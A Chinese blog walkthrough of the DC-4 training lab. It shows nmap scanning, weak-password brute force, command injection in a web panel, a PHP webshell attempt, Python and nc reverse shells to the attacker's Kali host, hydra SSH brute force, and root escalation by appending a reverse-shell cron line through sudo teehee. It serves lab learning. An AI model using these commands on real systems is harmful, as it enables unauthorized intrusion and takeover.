渗透测试——靶机DC-4详细渗透教程

今天给大家带来DC-4靶机的详细渗透教程;

本来这个靶机就是一个很简单的靶机,但是可能是我想用多种方法来getshell,导致最后也用来六个小时了写这篇文章(有时候想法太多也不是一种好事啊。。)

文章目录


前置准备

首先我们将DC-4靶机的网络设置为192.168.106.0/24网段,并且网卡选择为VulnBox的仅主机模式:


我们将Kali也设置一个相应的NAT网段,让其能够与DC-4靶机互相通信:

  • kali的IP地址:192.168.56.102

话不多说,直接开始对靶机的渗透;


信息收集

还是老样子,使用nmap对靶机进行网段的扫描,得到准确的IP地址:

bash 复制代码
nmap -sP 192.168.56.0/24
nmap -sC -sV -A -T4 -p- 192.168.56.108

发现存在两个可疑的IP地址,究竟哪个是靶机?

不确定的话,就分别对他们进行进一步的信息收集:

这里可以确定为192.168.56.108为我们的目标靶机,因为使用nmap对106主机进行探测的时候,两者并不能通信;

从上述收集的到信息,我们可以知道目标主机开放的端口以及服务:

  • 22/tcp:ssh服务
  • 80/tcp:http服务

Web页面信息收集

我们接下来就先访问一下Web页面,看看存在那些有用的信息:

我们可以看到是一个不符合现在审美的一个登录框,而像这种形式,我们首先可以尝试的就是SQL注入以及弱口令爆破;

SQL注入

  • 首先我们用bp抓个包,然后放到sqlmap里,查看是否存在SQL注入


跑了十几分钟,没有得到结果;

弱口令爆破

  • 使用BP进行爆破:

开始攻击:

翻到最后,成功得到了账号密码:

  • admin / happy

Web目录进行枚举

  • 并且在尝试SQL注入的时候,我们还可以对其Web目录进行枚举,看看是否还存在哪些可以利用的信息:

(这里我使用的工具是dirsearch

bash 复制代码
python dirsearch.py -t 100 -u http://192.168.56.108/ --include-status 200,301

可以看到没有什么可用的信息;


漏洞利用

根据我们上述得到的账号密码,成功进入了系统后台:

点击三个不同的按钮,我们可以得到不同的信息:

(1)List Files

(2)Disk Usage

(3)Disk Free ------ 磁盘释放,重新跳转到第一个页面;

这里我们用bp抓个包,发现它执行的命令可以返回相应的结果;既然如此,我们直接修改命令,看看效果:

根据上述返回的结果,这就好办了,我们直接用它来返回一个shell,进而用kali去控制目标机器;

方法一:创建一个php文件,使用Webshell工具连接(失败)

尝试了几次,发现一句话木马被过滤了:

bash 复制代码
echo "<?=eval($_POST['cmd']);" > /usr/share/nginx/html/index.php

由此推测,Web系统可能对命令执行做了黑名单设置;

有尝试了其他命令执行的绕过方法(具体的可以看CTFshow靶场系列),都没有办法:

尝试写入文件,发现只有root用户才有权限(我还尝试了十几分钟。。。)

方法二:直接反弹shell命令(成功)

bash 复制代码
export RHOST="192.168.56.102";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

# url编码后
export%20RHOST%3D%22192.168.56.102%22%3Bexport%20RPORT%3D9001%3Bpython3%20-c%20'import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket()%3Bs.connect((os.getenv(%22RHOST%22)%2Cint(os.getenv(%22RPORT%22))))%3B%5Bos.dup2(s.fileno()%2Cfd)%20for%20fd%20in%20(0%2C1%2C2)%5D%3Bpty.spawn(%22sh%22)'

kali上成功反弹一个shell:

越权

随后查看目标机器的版本:

系统内核漏洞(失败)

尝试到漏洞库去查找内核漏洞:

随后编译c文件,上传到目标机器进行执行:

结果失败了:Linux 程序依赖的 GNU C 库(GLIBC)版本不兼容 (之前还解决了其他问题,但是都没有用。。。不弄了,浪费时间


漏洞利用:ssh爆破

随后我们查看/etc/passwd目录,发现存在三个用户:

我们去到 /home 目录下,一个个进行查看:

  • charles和sam用户:无任何线索;
  • jim用户:存在s 权限的脚本

之后的思路:

这说明,我们可以使用sudo命令去执行test.sh(相当于以root权限执行),从而达到越权的目的;

  • 而这个文件我们普通用户也是有x执行权限的;只要知道其中一个用户登陆的密码即可:
  • 随后修改脚本内容,反弹一个root权限的shell即可;
  • (相应的思路在靶机Sar1渗透横向详细过程)有说明,可以去看看

随后我们在backups里发现了一个密码列表:old-passwords.bak

发现里面有几百个密码,我们是不是忘了目标机器还开放着22端口。正好拿来爆破一下;

  • (hydar如果显示未安装,那么执行命令apt install hydra即可)
bash 复制代码
# 使用示例:
  hydra -l user -P passlist.txt ftp://192.168.56.108
  hydra -L userlist.txt -p defaultpw imap://192.168.56.108/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.56.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

-l 后面跟着 具体的用户名
-p 后面跟着 具体的密码
-L 后面跟着 用户字典
-P 后面跟着 密码字典

先将密码保存在psw文件中,然后开始爆破:(刚好把这个加入我的字典,留着以后用)

bash 复制代码
cp old-passwords.bak /tmp/pass.txt

# 开始攻击
hydra -l jim -P pass.txt -t 4 ssh://192.168.56.108

最后得到密码jibril04,连接:

bash 复制代码
ssh jim@192.168.56.108 -p 22 
jibril04

成功连接;

接下来就是getshell了;


Getshell

方法一:网上WP(创建新用户)

说有一个邮件,找找看在哪; 在/var/mail 中找到 内容是:

bash 复制代码
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

给了一个charles 的密码 ^xHhA&hvim0y,切换登陆看看su charles

发现teehee不需要密码可以有root权限,可以利用teehee提权,用teehee用户添加一个admin用户

然后切换到admin用户就有root权限了:


方法二:创建定时任务,获取root权限

bash 复制代码
# 覆盖test.sh所有内容(清空原有循环脚本,写入反向Shell命令)
echo 'mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.102 4444 > /tmp/f' > test.sh

随后发现用Jim用户,执行不了?------不在sudoers列表里

既然如此,那就只能用teehee提权来执行了;

(1)切换到charles用户:

  • 账号:charles
  • 密码:^xHhA&hvim0y

(2)随后创建定时任务:

bash 复制代码
sudo /usr/bin/teehee -a /etc/crontab << EOF
* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'
EOF

输入过程:

  • 输入第一行 → 回车
  • 出现 > → 正常(不是错误)
  • 输入 cron 内容 → 回车
  • 输入 EOF → 回车
  • 命令结束,返回普通 shell 提示符

随后查看定时任务:

成功创建;

而kali也返回了root权限的shell:


至此,我们完全控制了这台主机;


小失误

之前不是在Jim用户下发现了一个test.sh文件吗:

  • 只有在/etc/sudoers中被授权的用户,执行sudo test.sh时,才能以 root 权限运行该脚本。
  • 如果该普通用户未在 /etc/sudoers 中授权:执行sudo时会被系统拒绝 (提示无权限),无法运行test.sh
    • (我以为有了s权限,任何人执行就能返回root权限)

总结

本来这个靶机就是一个很简单的靶机,但是可能是我想用多种方法来getshell,导致最后也用来六个小时了写这篇文章(有时候想法太多也不是一种好事啊。。)

期待下次再见;

相关推荐
秋深枫叶红5 小时前
嵌入式第三十六篇——linux系统编程——线程
linux·运维·服务器·学习
小北方城市网6 小时前
鸿蒙6.0:AI与智能体框架(HMAF),重塑操作系统未来的核心密码
大数据·网络·人工智能·microsoft·ai·智能手机
[seven]6 小时前
React Router TypeScript 路由详解:类型安全的路由配置与参数处理
安全·react.js·typescript
Neolnfra6 小时前
文件包含漏洞终极指南
开发语言·安全·web安全·网络安全·系统安全·php·可信计算技术
1+2单片机电子设计6 小时前
基于 STM32 的网络授权时钟系统设计与实现
开发语言·stm32·单片机·嵌入式硬件·php·51单片机
kk5796 小时前
ubuntu20.04运行todesk显示网络连接异常无网络
linux·运维·服务器
福大大架构师每日一题6 小时前
nginx 1.29.4 发布:支持 HTTP/2 后端与加密客户端问候(ECH),多项功能优化与修复
运维·nginx·http
晴天¥6 小时前
Oracle中的表空间
运维·数据库·oracle